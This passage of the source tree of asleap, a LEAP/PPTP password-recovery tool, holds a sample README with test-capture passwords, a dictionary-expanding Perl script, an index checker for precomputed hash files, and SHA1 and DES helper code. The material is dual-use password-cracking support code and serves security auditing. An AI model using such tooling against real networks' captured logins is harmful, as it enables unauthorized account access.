RADIOTAP_H */ 210 | 211 | -------------------------------------------------------------------------------- /samples/README: -------------------------------------------------------------------------------- 1 | Sample packet capture files for testing. The password for the LEAP exchange in 2 | "leap.dump" is "qaleap". The password for the LEAP exchange in "leap.apc" is 3 | "blamo". 4 | 5 | The password for the PPTP exchange in "pptp.apc" is "turquoise". 6 | -------------------------------------------------------------------------------- /samples/joshlea.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joswr1ght/asleap/254acabba34cb44608c9d2dcf7a147553d3d5ba3/samples/joshlea.dump -------------------------------------------------------------------------------- /samples/leap.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joswr1ght/asleap/254acabba34cb44608c9d2dcf7a147553d3d5ba3/samples/leap.dump -------------------------------------------------------------------------------- /samples/leap2.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joswr1ght/asleap/254acabba34cb44608c9d2dcf7a147553d3d5ba3/samples/leap2.dump -------------------------------------------------------------------------------- /samples/pptp.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/joswr1ght/asleap/254acabba34cb44608c9d2dcf7a147553d3d5ba3/samples/pptp.dump -------------------------------------------------------------------------------- /scripts/README: -------------------------------------------------------------------------------- 1 | Some useless scripts I created while working on these tools: 2 | 3 | morewords.pl - Reads in a dictionary file, appends 00, 01 .. 99 to i 4 | each entry. 5 | strip-nonascii.pl - Removes non-printable characters from the input file. 6 | testidx.c - Reports discrepancies between a genkeys dat and index file. 7 | -------------------------------------------------------------------------------- /scripts/morewords.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # This script will read in dictionary words, one per line, and will print to 3 | # stdout all permutations of the word with 00, 01, 02 .. 99 appended to the 4 | # end of the word. This will (obviously) grow your dictionary file by 100x, 5 | # which may or may not be what you want. :) 6 | 7 | if (@ARGV < 1) { 8 | die("Must supply a dictionary filename"); 9 | } 10 | 11 | unless(open(DICTFILE, "$ARGV[0]")) { 12 | die("Error opening file: $!"); 13 | } 14 | 15 | while ($word=) { 16 | printf("$word\n"); 17 | chop($word); # Asumes \n after word - may or may not be true 18 | for($i=0; $i < 10; $i++) { 19 | for($j=0; $j < 10; $j++) { 20 | printf("%s%d%d\n", $word, $i, $j); 21 | } 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /scripts/strip-nonascii.pl: -------------------------------------------------------------------------------- 1 | # This script will strip all the non-printable ASCII characters in a given 2 | # input. 3 | # e.x. ./strip-nonascii.pl < big-dict >big-dict-clean 4 | #!/usr/bin/perl 5 | 6 | while() { 7 | s/[\x00-\x1f\x7f-\xff]//g; 8 | print "$_\n"; 9 | } 10 | -------------------------------------------------------------------------------- /scripts/testidx.c: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * Copyright (c) 2003-2007, Joshua Wright 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License version 2 as 8 | * published by the Free Software Foundation. See COPYING for more 9 | * details. 10 | * 11 | * asleap is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | */ 16 | 17 | /* 18 | * Significant code is graciously taken from the following: 19 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 20 | */ 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include "../common.h" 32 | 33 | 34 | /* This program reads through the index file and prints out the corresponding 35 | password string entry from the associated dict+hash list. Written for 36 | testing the indexing code, but could be used for validating an index file, 37 | 38 | This code only examines the first entry in the dict+hash file, so the verbose 39 | output will display one hash and password per key entry. It's not really 40 | useful for anything more than validating my indexing code. */ 41 | 42 | int main(int argc, char *argv[]) { 43 | 44 | struct hashpass_rec rec; 45 | struct hashpassidx_rec idxrec; 46 | int hashfile; 47 | FILE *idxfile; 48 | int readlen, passwordlen, j, verbose=1, badmatches=0; 49 | unsigned long idxfilelen=0, idxreadlentot=0; 50 | char password[33]; 51 | unsigned char hash[16]; 52 | struct stat hashfilestat, idxfilestat; 53 | caddr_t base, ptr; 54 | 55 | if (argc < 3) { 56 | 57 | printf("testidx: Test the index file against a genkeys hash file.\n"); 58 | printf(" usage: %s hashfile indexfile\n", argv[0]); 59 | exit(1); 60 | } 61 | 62 | printf("Testing integrity of index (%s) and hash file (%s).\n", 63 | argv[2], argv[1]); 64 | printf("This could take some time ...\n"); 65 | fflush(stdout); 66 | 67 | 68 | /* We use buffered I/O to improve efficiency in reading the index file, 69 | and use an unbuffered file handle for the hash file. Since we are only 70 | referencing the hash file as it exists with mmap(), we don't need to use 71 | buffered I/O. */ 72 | 73 | if((hashfile = open(argv[1], O_RDONLY, 0)) < 0) { 74 | perror("open"); 75 | exit(1); 76 | } 77 | 78 | if ((idxfile = fopen(argv[2], "r")) == NULL) { 79 | perror("fopen"); 80 | close(hashfile); 81 | exit(1); 82 | } 83 | 84 | /* Determine the file size to pass to mmap. Should error-check this. */ 85 | stat(argv[1], &hashfilestat); 86 | 87 | /* Determine the file size so we know when to stop reading. */ 88 | stat(argv[2], &idxfilestat); 89 | idxfilelen = idxfilestat.st_size; 90 | 91 | /* mmap the file into memory */ 92 | base = mmap(0, hashfilestat.st_size, PROT_READ, MAP_SHARED, hashfile, 0); 93 | if (base == MAP_FAILED) { 94 | perror("mmap"); 95 | close(hashfile); 96 | close(idxfile); 97 | exit(1); 98 | } 99 | 100 | /* fd for hash file is no longer needed */ 101 | close(hashfile); 102 | 103 | 104 | /* Read through the index file */ 105 | while (fread(&idxrec, sizeof(idxrec), 1, idxfile) == 1) { 106 | 107 | memset(&rec, 0, sizeof(rec)); 108 | memset(&password, 0, sizeof(password)); 109 | memset(&hash, 0, sizeof(hash)); 110 | 111 | /* Use the offset from the index file to populate this record */ 112 | memcpy(&rec.rec_size, base+idxrec.offset, sizeof(rec.rec_size)); 113 | passwordlen = rec.rec_size - 17; 114 | 115 | /* With the record size, copy the password into the record */ 116 | memcpy(password, base+idxrec.offset+1, passwordlen); 117 | 118 | /* Populate the hash as well */ 119 | memcpy(&hash, base+idxrec.offset+1+passwordlen, sizeof(hash)); 120 | 121 | /* Compare the last two bytes of the hash stored as the key in the 122 | index file with the last two bytes of the hash in the hash+dict 123 | file. If the don't match, we've got a problem. */ 124 | if ((memcmp(&idxrec.hashkey[0], &hash[14], 1) != 0) || 125 | memcmp(&idxrec.hashkey[1], &hash[15], 1) != 0) { 126 | fprintf(stderr, "Hashes do not match: %02x%02x\t%02x%02x\t%s\n", 127 | idxrec.hashkey[0], idxrec.hashkey[1], hash[14], hash[15], 128 | password); 129 | badmatches++; 130 | } 131 | 132 | if (verbose) { 133 | printf("Offset: %ld\thash: %02x%02x\tpassword: %s\t\thash: ", 134 | idxrec.offset, idxrec.hashkey[0], idxrec.hashkey[1], password); 135 | for (j=0; j < sizeof(hash); j++) printf("%02x", hash[j]); 136 | printf("\n"); 137 | } 138 | 139 | /* Add record size to total number of bytes read. If we are at the 140 | end of the file, break */ 141 | idxreadlentot += sizeof(idxrec); 142 | if (idxreadlentot == idxfilelen) { 143 | break; 144 | } 145 | 146 | } 147 | 148 | munmap(base, hashfilestat.st_size); 149 | fclose(idxfile); 150 | 151 | printf("Errors detected: %d\n", badmatches); 152 | 153 | exit(0); 154 | } 155 | -------------------------------------------------------------------------------- /sha1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * SHA1 hash implementation and interface functions 3 | * Copyright (c) 2003-2004, Jouni Malinen 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License version 2 as 7 | * published by the Free Software Foundation. 8 | * 9 | * Alternatively, this software may be distributed under the terms of BSD 10 | * license. 11 | * 12 | * See README and COPYING for more details. 13 | */ 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #ifndef _LINUX 20 | #warning "Assuming little-endian for Windows" 21 | #else 22 | #include 23 | # if __BYTE_ORDER == __BIG_ENDIAN 24 | # define WORDS_BIGENDIAN 25 | # endif 26 | #endif 27 | 28 | #include "common.h" 29 | #include "sha1.h" 30 | 31 | #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) 32 | 33 | /* blk0() and blk() perform the initial expand. */ 34 | /* I got the idea of expanding during the round function from SSLeay */ 35 | #ifndef WORDS_BIGENDIAN 36 | #define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ 37 | (rol(block->l[i], 8) & 0x00FF00FF)) 38 | #else 39 | #define blk0(i) block->l[i] 40 | #endif 41 | #define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ 42 | block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) 43 | 44 | /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ 45 | #define R0(v,w,x,y,z,i) \ 46 | z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ 47 | w = rol(w, 30); 48 | #define R1(v,w,x,y,z,i) \ 49 | z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ 50 | w = rol(w, 30); 51 | #define R2(v,w,x,y,z,i) \ 52 | z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); 53 | #define R3(v,w,x,y,z,i) \ 54 | z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ 55 | w = rol(w, 30); 56 | #define R4(v,w,x,y,z,i) \ 57 | z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ 58 | w=rol(w, 30); 59 | 60 | #ifdef VERBOSE /* SAK */ 61 | void SHAPrintContext(SHA1_CTX * context, char *msg) 62 | { 63 | printf("%s (%d,%d) %x %x %x %x %x\n", 64 | msg, 65 | context->count[0], context->count[1], 66 | context->state[0], 67 | context->state[1], 68 | context->state[2], context->state[3], context->state[4]); 69 | } 70 | #endif 71 | 72 | /* Hash a single 512-bit block. This is the core of the algorithm. */ 73 | void SHA1Transform(u32 state[5], unsigned char buffer[64]) 74 | { 75 | u32 a, b, c, d, e; 76 | typedef union { 77 | unsigned char c[64]; 78 | u32 l[16]; 79 | } CHAR64LONG16; 80 | CHAR64LONG16 *block; 81 | #ifdef SHA1HANDSOFF 82 | u32 workspace[16]; 83 | block = (CHAR64LONG16 *) workspace; 84 | memcpy(block, buffer, 64); 85 | #else 86 | block = (CHAR64LONG16 *) buffer; 87 | #endif 88 | /* Copy context->state[] to working vars */ 89 | a = state[0]; 90 | b = state[1]; 91 | c = state[2]; 92 | d = state[3]; 93 | e = state[4]; 94 | /* 4 rounds of 20 operations each. Loop unrolled. */ 95 | R0(a, b, c, d, e, 0); 96 | R0(e, a, b, c, d, 1); 97 | R0(d, e, a, b, c, 2); 98 | R0(c, d, e, a, b, 3); 99 | R0(b, c, d, e, a, 4); 100 | R0(a, b, c, d, e, 5); 101 | R0(e, a, b, c, d, 6); 102 | R0(d, e, a, b, c, 7); 103 | R0(c, d, e, a, b, 8); 104 | R0(b, c, d, e, a, 9); 105 | R0(a, b, c, d, e, 10); 106 | R0(e, a, b, c, d, 11); 107 | R0(d, e, a, b, c, 12); 108 | R0(c, d, e, a, b, 13); 109 | R0(b, c, d, e, a, 14); 110 | R0(a, b, c, d, e, 15); 111 | R1(e, a, b, c, d, 16); 112 | R1(d, e, a, b, c, 17); 113 | R1(c, d, e, a, b, 18); 114 | R1(b, c, d, e, a, 19); 115 | R2(a, b, c, d, e, 20); 116 | R2(e, a, b, c, d, 21); 117 | R2(d, e, a, b, c, 22); 118 | R2(c, d, e, a, b, 23); 119 | R2(b, c, d, e, a, 24); 120 | R2(a, b, c, d, e, 25); 121 | R2(e, a, b, c, d, 26); 122 | R2(d, e, a, b, c, 27); 123 | R2(c, d, e, a, b, 28); 124 | R2(b, c, d, e, a, 29); 125 | R2(a, b, c, d, e, 30); 126 | R2(e, a, b, c, d, 31); 127 | R2(d, e, a, b, c, 32); 128 | R2(c, d, e, a, b, 33); 129 | R2(b, c, d, e, a, 34); 130 | R2(a, b, c, d, e, 35); 131 | R2(e, a, b, c, d, 36); 132 | R2(d, e, a, b, c, 37); 133 | R2(c, d, e, a, b, 38); 134 | R2(b, c, d, e, a, 39); 135 | R3(a, b, c, d, e, 40); 136 | R3(e, a, b, c, d, 41); 137 | R3(d, e, a, b, c, 42); 138 | R3(c, d, e, a, b, 43); 139 | R3(b, c, d, e, a, 44); 140 | R3(a, b, c, d, e, 45); 141 | R3(e, a, b, c, d, 46); 142 | R3(d, e, a, b, c, 47); 143 | R3(c, d, e, a, b, 48); 144 | R3(b, c, d, e, a, 49); 145 | R3(a, b, c, d, e, 50); 146 | R3(e, a, b, c, d, 51); 147 | R3(d, e, a, b, c, 52); 148 | R3(c, d, e, a, b, 53); 149 | R3(b, c, d, e, a, 54); 150 | R3(a, b, c, d, e, 55); 151 | R3(e, a, b, c, d, 56); 152 | R3(d, e, a, b, c, 57); 153 | R3(c, d, e, a, b, 58); 154 | R3(b, c, d, e, a, 59); 155 | R4(a, b, c, d, e, 60); 156 | R4(e, a, b, c, d, 61); 157 | R4(d, e, a, b, c, 62); 158 | R4(c, d, e, a, b, 63); 159 | R4(b, c, d, e, a, 64); 160 | R4(a, b, c, d, e, 65); 161 | R4(e, a, b, c, d, 66); 162 | R4(d, e, a, b, c, 67); 163 | R4(c, d, e, a, b, 68); 164 | R4(b, c, d, e, a, 69); 165 | R4(a, b, c, d, e, 70); 166 | R4(e, a, b, c, d, 71); 167 | R4(d, e, a, b, c, 72); 168 | R4(c, d, e, a, b, 73); 169 | R4(b, c, d, e, a, 74); 170 | R4(a, b, c, d, e, 75); 171 | R4(e, a, b, c, d, 76); 172 | R4(d, e, a, b, c, 77); 173 | R4(c, d, e, a, b, 78); 174 | R4(b, c, d, e, a, 79); 175 | /* Add the working vars back into context.state[] */ 176 | state[0] += a; 177 | state[1] += b; 178 | state[2] += c; 179 | state[3] += d; 180 | state[4] += e; 181 | /* Wipe variables */ 182 | a = b = c = d = e = 0; 183 | #ifdef SHA1HANDSOFF 184 | memset(block, 0, 64); 185 | #endif 186 | } 187 | 188 | /* SHA1Init - Initialize new context */ 189 | void SHA1Init(SHA1_CTX * context) 190 | { 191 | /* SHA1 initialization constants */ 192 | context->state[0] = 0x67452301; 193 | context->state[1] = 0xEFCDAB89; 194 | context->state[2] = 0x98BADCFE; 195 | context->state[3] = 0x10325476; 196 | context->state[4] = 0xC3D2E1F0; 197 | context->count[0] = context->count[1] = 0; 198 | } 199 | 200 | /* Run your data through this. */ 201 | void SHA1Update(SHA1_CTX * context, unsigned char *data, u32 len) 202 | { 203 | u32 i, j; 204 | 205 | #ifdef VERBOSE 206 | SHAPrintContext(context, "before"); 207 | #endif 208 | j = (context->count[0] >> 3) & 63; 209 | if ((context->count[0] += len << 3) < (len << 3)) 210 | context->count[1]++; 211 | context->count[1] += (len >> 29); 212 | if ((j + len) > 63) { 213 | memcpy(&context->buffer[j], data, (i = 64 - j)); 214 | SHA1Transform(context->state, context->buffer); 215 | for (; i + 63 < len; i += 64) { 216 | SHA1Transform(context->state, &data[i]); 217 | } 218 | j = 0; 219 | } else 220 | i = 0; 221 | memcpy(&context->buffer[j], &data[i], len - i); 222 | #ifdef VERBOSE 223 | SHAPrintContext(context, "after "); 224 | #endif 225 | } 226 | 227 | /* Add padding and return the message digest. */ 228 | void SHA1Final(unsigned char digest[20], SHA1_CTX * context) 229 | { 230 | u32 i; 231 | unsigned char finalcount[8]; 232 | 233 | for (i = 0; i < 8; i++) { 234 | finalcount[i] = (unsigned char) 235 | ((context->count[(i >= 4 ? 0 : 1)] >> ((3 - (i & 3)) * 8)) & 255); /* Endian independent */ 236 | } 237 | SHA1Update(context, (unsigned char *)"\200", 1); 238 | while ((context->count[0] & 504) != 448) { 239 | SHA1Update(context, (unsigned char *)"\0", 1); 240 | } 241 | SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() 242 | */ 243 | for (i = 0; i < 20; i++) { 244 | digest[i] = (unsigned char) 245 | ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255); 246 | } 247 | /* Wipe variables */ 248 | i = 0; 249 | memset(context->buffer, 0, 64); 250 | memset(context->state, 0, 20); 251 | memset(context->count, 0, 8); 252 | memset(finalcount, 0, 8); 253 | } 254 | -------------------------------------------------------------------------------- /sha1.h: -------------------------------------------------------------------------------- 1 | #ifndef SHA1_H 2 | #define SHA1_H 3 | 4 | #define SHA1_MAC_LEN 20 5 | typedef unsigned long u32; 6 | 7 | typedef struct { 8 | u32 state[5]; 9 | u32 count[2]; 10 | unsigned char buffer[64]; 11 | } SHA1_CTX; 12 | 13 | void SHA1Init(SHA1_CTX * context); 14 | void SHA1Update(SHA1_CTX * context, unsigned char *data, u32 len); 15 | void SHA1Final(unsigned char digest[20], SHA1_CTX * context); 16 | void SHA1Transform(u32 state[5], unsigned char buffer[64]); 17 | 18 | #endif /* SHA1_H */ 19 | -------------------------------------------------------------------------------- /utils.c: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: utils.c,v 1.6 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | * lamont_dump from nmap's utils.cc. Thanks Fyodor. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include /* for ntohs() */ 34 | #include 35 | #include 36 | #include "utils.h" 37 | 38 | void lamont_hdump(unsigned char *bp, unsigned int length); 39 | char *printmac(unsigned char *mac); 40 | 41 | /* A better version of hdump, from Lamont Granquist. Modified slightly 42 | by Fyodor (fyodor@DHP.com) */ 43 | void lamont_hdump(unsigned char *bp, unsigned int length) 44 | { 45 | 46 | /* stolen from tcpdump, then kludged extensively */ 47 | 48 | static const char asciify[] = 49 | "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; 50 | 51 | const unsigned short *sp; 52 | const unsigned char *ap; 53 | unsigned int i, j; 54 | int nshorts, nshorts2; 55 | int padding; 56 | 57 | printf("\n\t"); 58 | padding = 0; 59 | sp = (unsigned short *)bp; 60 | ap = (unsigned char *)bp; 61 | nshorts = (unsigned int)length / sizeof(unsigned short); 62 | nshorts2 = (unsigned int)length / sizeof(unsigned short); 63 | i = 0; 64 | j = 0; 65 | while (1) { 66 | while (--nshorts >= 0) { 67 | printf(" %04x", ntohs(*sp)); 68 | sp++; 69 | if ((++i % 8) == 0) 70 | break; 71 | } 72 | if (nshorts < 0) { 73 | if ((length & 1) && (((i - 1) % 8) != 0)) { 74 | printf(" %02x ", *(unsigned char *)sp); 75 | padding++; 76 | } 77 | nshorts = (8 - (nshorts2 - nshorts)); 78 | while (--nshorts >= 0) { 79 | printf(" "); 80 | } 81 | if (!padding) 82 | printf(" "); 83 | } 84 | printf(" "); 85 | 86 | while (--nshorts2 >= 0) { 87 | printf("%c%c", asciify[*ap], asciify[*(ap + 1)]); 88 | ap += 2; 89 | if ((++j % 8) == 0) { 90 | printf("\n\t"); 91 | break; 92 | } 93 | } 94 | if (nshorts2 < 0) { 95 | if ((length & 1) && (((j - 1) % 8) != 0)) { 96 | printf("%c", asciify[*ap]); 97 | } 98 | break; 99 | } 100 | } 101 | if ((length & 1) && (((i - 1) % 8) == 0)) { 102 | printf(" %02x", *(unsigned char *)sp); 103 | printf(" %c", 104 | asciify[*ap]); 105 | } 106 | printf("\n"); 107 | } 108 | 109 | /* taken from ppp/pppd/extra_crypto.c 110 | * Copyright (c) Tim Hockin, Cobalt Networks Inc. and others 111 | */ 112 | unsigned char Get7Bits(unsigned char *input, int startBit) 113 | { 114 | register unsigned int word; 115 | 116 | word = (unsigned)input[startBit / 8] << 8; 117 | word |= (unsigned)input[startBit / 8 + 1]; 118 | 119 | word >>= 15 - (startBit % 8 + 7); 120 | 121 | return word & 0xFE; 122 | } 123 | 124 | void MakeKey(unsigned char *key, unsigned char *des_key) 125 | { 126 | des_key[0] = Get7Bits(key, 0); 127 | des_key[1] = Get7Bits(key, 7); 128 | des_key[2] = Get7Bits(key, 14); 129 | des_key[3] = Get7Bits(key, 21); 130 | des_key[4] = Get7Bits(key, 28); 131 | des_key[5] = Get7Bits(key, 35); 132 | des_key[6] = Get7Bits(key, 42); 133 | des_key[7] = Get7Bits(key, 49); 134 | 135 | } 136 | 137 | /* in == 8-byte string (expanded version of the 56-bit key) 138 | * out == 64-byte string where each byte is either 1 or 0 139 | * Note that the low-order "bit" is always ignored by by setkey() 140 | */ 141 | void Expand(unsigned char *in, unsigned char *out) 142 | { 143 | int j, c; 144 | int i; 145 | 146 | for (i = 0; i < 64; in++) { 147 | c = *in; 148 | for (j = 7; j >= 0; j--) 149 | *out++ = (c >> j) & 1; 150 | i += 8; 151 | } 152 | } 153 | 154 | /* The inverse of Expand 155 | */ 156 | void Collapse(unsigned char *in, unsigned char *out) 157 | { 158 | int j; 159 | int i; 160 | unsigned int c; 161 | 162 | for (i = 0; i < 64; i += 8, out++) { 163 | c = 0; 164 | for (j = 7; j >= 0; j--, in++) 165 | c |= *in << j; 166 | *out = c & 0xff; 167 | } 168 | } 169 | 170 | void DesEncrypt(unsigned char *clear, unsigned char *key, unsigned char *cipher) 171 | { 172 | unsigned char des_key[8]; 173 | unsigned char crypt_key[66]; 174 | unsigned char des_input[66]; 175 | 176 | MakeKey(key, des_key); 177 | 178 | Expand(des_key, crypt_key); 179 | setkey((char *)crypt_key); 180 | 181 | Expand(clear, des_input); 182 | encrypt((char *)des_input, 0); 183 | Collapse(des_input, cipher); 184 | } 185 | 186 | int IsBlank(char *s) 187 | { 188 | 189 | int len, i; 190 | if (s == NULL) { 191 | return (1); 192 | } 193 | 194 | len = strlen(s); 195 | 196 | if (len == 0) { 197 | return (1); 198 | } 199 | 200 | for (i = 0; i < len; i++) { 201 | if (s[i] != ' ') { 202 | return (0); 203 | } 204 | } 205 | return (0); 206 | } 207 | 208 | char *printmac(unsigned char *mac) 209 | { 210 | static char macstring[18]; 211 | 212 | memset(&macstring, 0, sizeof(macstring)); 213 | (void)snprintf(macstring, sizeof(macstring), 214 | "%02x:%02x:%02x:%02x:%02x:%02x", 215 | mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); 216 | return (macstring); 217 | } 218 | 219 | /* 220 | * converts a string to a mac address... 221 | * returns 1 on success, -1 on failure... 222 | * failure indicates poorly formed input... 223 | */ 224 | int str2hex (char *string, uint8_t *hexstr, int len) 225 | { 226 | char *ptr, *next; 227 | unsigned long val; 228 | int i; 229 | 230 | ptr = next = string; 231 | for(i=0;i < len;i++) { 232 | if((val = strtoul(next, &ptr, 16)) > 255) { 233 | errno = EINVAL; 234 | return(-1); 235 | } 236 | hexstr[i] = (unsigned int)val; 237 | if((next == ptr) && (i != len - 1)) { 238 | errno = EINVAL; 239 | return(-1); 240 | } 241 | next = ptr + 1; 242 | } 243 | 244 | return(1); 245 | } 246 | -------------------------------------------------------------------------------- /utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: utils.h,v 1.8 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | * lamont_dump from nmap's utils.cc. Thanks Fyodor. 23 | */ 24 | 25 | /* Prototypes */ 26 | void lamont_hdump(unsigned char *bp, unsigned int length); 27 | unsigned char Get7Bits(unsigned char *input, int startBit); 28 | void MakeKey(unsigned char *key, unsigned char *des_key); 29 | void Expand(unsigned char *in, unsigned char *out); 30 | void Collapse(unsigned char *in, unsigned char *out); 31 | void DesEncrypt(unsigned char *clear, unsigned char *key, 32 | unsigned char *cipher); 33 | int IsBlank(char *s); 34 | char *printmac(unsigned char *mac); 35 | int str2hex (char *string, uint8_t *hexstr, int len); 36 | -------------------------------------------------------------------------------- /version.h: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: version.h,v 1.7 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | #define VER "2.3" 20 | --------------------------------------------------------------------------------